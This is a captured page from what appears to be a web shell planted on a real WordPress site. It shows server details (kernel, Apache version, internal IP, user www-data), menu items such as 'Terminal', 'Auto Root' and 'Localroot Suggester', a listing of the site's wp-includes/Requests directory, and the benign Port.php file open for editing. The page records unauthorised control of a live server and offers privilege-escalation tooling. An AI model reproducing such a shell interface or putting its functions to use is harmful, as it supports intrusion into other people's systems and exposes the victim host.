Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
wp-includes /
Requests /
src /
Delete
Unzip
Name
Size
Permission
Date
Action
Auth
[ DIR ]
drwxr-sr-x
2023-03-29 20:58
Cookie
[ DIR ]
drwxr-sr-x
2023-03-29 20:58
Exception
[ DIR ]
drwxr-sr-x
2023-03-29 20:58
Proxy
[ DIR ]
drwxr-sr-x
2023-03-29 20:58
Response
[ DIR ]
drwxr-sr-x
2023-03-29 20:58
Transport
[ DIR ]
drwxr-sr-x
2023-03-29 20:58
Utility
[ DIR ]
drwxr-sr-x
2023-03-29 20:58
Auth.php
860
B
-rw-r--r--
2023-03-29 20:58
Autoload.php
9.12
KB
-rw-r--r--
2023-08-08 20:49
Capability.php
652
B
-rw-r--r--
2023-08-08 20:49
Cookie.php
15.03
KB
-rw-r--r--
2024-07-16 20:49
Exception.php
1.09
KB
-rw-r--r--
2023-03-29 20:58
HookManager.php
709
B
-rw-r--r--
2023-03-29 20:58
Hooks.php
2.96
KB
-rw-r--r--
2023-10-12 21:51
IdnaEncoder.php
12.16
KB
-rw-r--r--
2026-07-03 02:00
Ipv6.php
5.51
KB
-rw-r--r--
2026-07-03 02:00
Iri.php
29.03
KB
-rw-r--r--
2026-07-03 02:00
Port.php
1.47
KB
-rw-r--r--
2023-03-29 20:58
Proxy.php
867
B
-rw-r--r--
2023-03-29 20:58
Requests.php
33.2
KB
-rw-r--r--
2026-07-03 02:00
Response.php
4.18
KB
-rw-r--r--
2023-08-08 20:49
Session.php
8.89
KB
-rw-r--r--
2023-10-12 21:51
Ssl.php
5.3
KB
-rw-r--r--
2023-03-29 20:58
Transport.php
1.51
KB
-rw-r--r--
2023-03-29 20:58
Save
Rename
<?php /** * Port utilities for Requests * * @package Requests\Utilities * @since 2.0.0 */ namespace WpOrg\Requests; use WpOrg\Requests\Exception; use WpOrg\Requests\Exception\InvalidArgument; /** * Find the correct port depending on the Request type. * * @package Requests\Utilities * @since 2.0.0 */ final class Port { /** * Port to use with Acap requests. * * @var int */ const ACAP = 674; /** * Port to use with Dictionary requests. * * @var int */ const DICT = 2628; /** * Port to use with HTTP requests. * * @var int */ const HTTP = 80; /** * Port to use with HTTP over SSL requests. * * @var int */ const HTTPS = 443; /** * Retrieve the port number to use. * * @param string $type Request type. * The following requests types are supported: * 'acap', 'dict', 'http' and 'https'. * * @return int * * @throws \WpOrg\Requests\Exception\InvalidArgument When a non-string input has been passed. * @throws \WpOrg\Requests\Exception When a non-supported port is requested ('portnotsupported'). */ public static function get($type) { if (!is_string($type)) { throw InvalidArgument::create(1, '$type', 'string', gettype($type)); } $type = strtoupper($type); if (!defined("self::{$type}")) { $message = sprintf('Invalid port type (%s) passed', $type); throw new Exception($message, 'portnotsupported'); } return constant("self::{$type}"); } }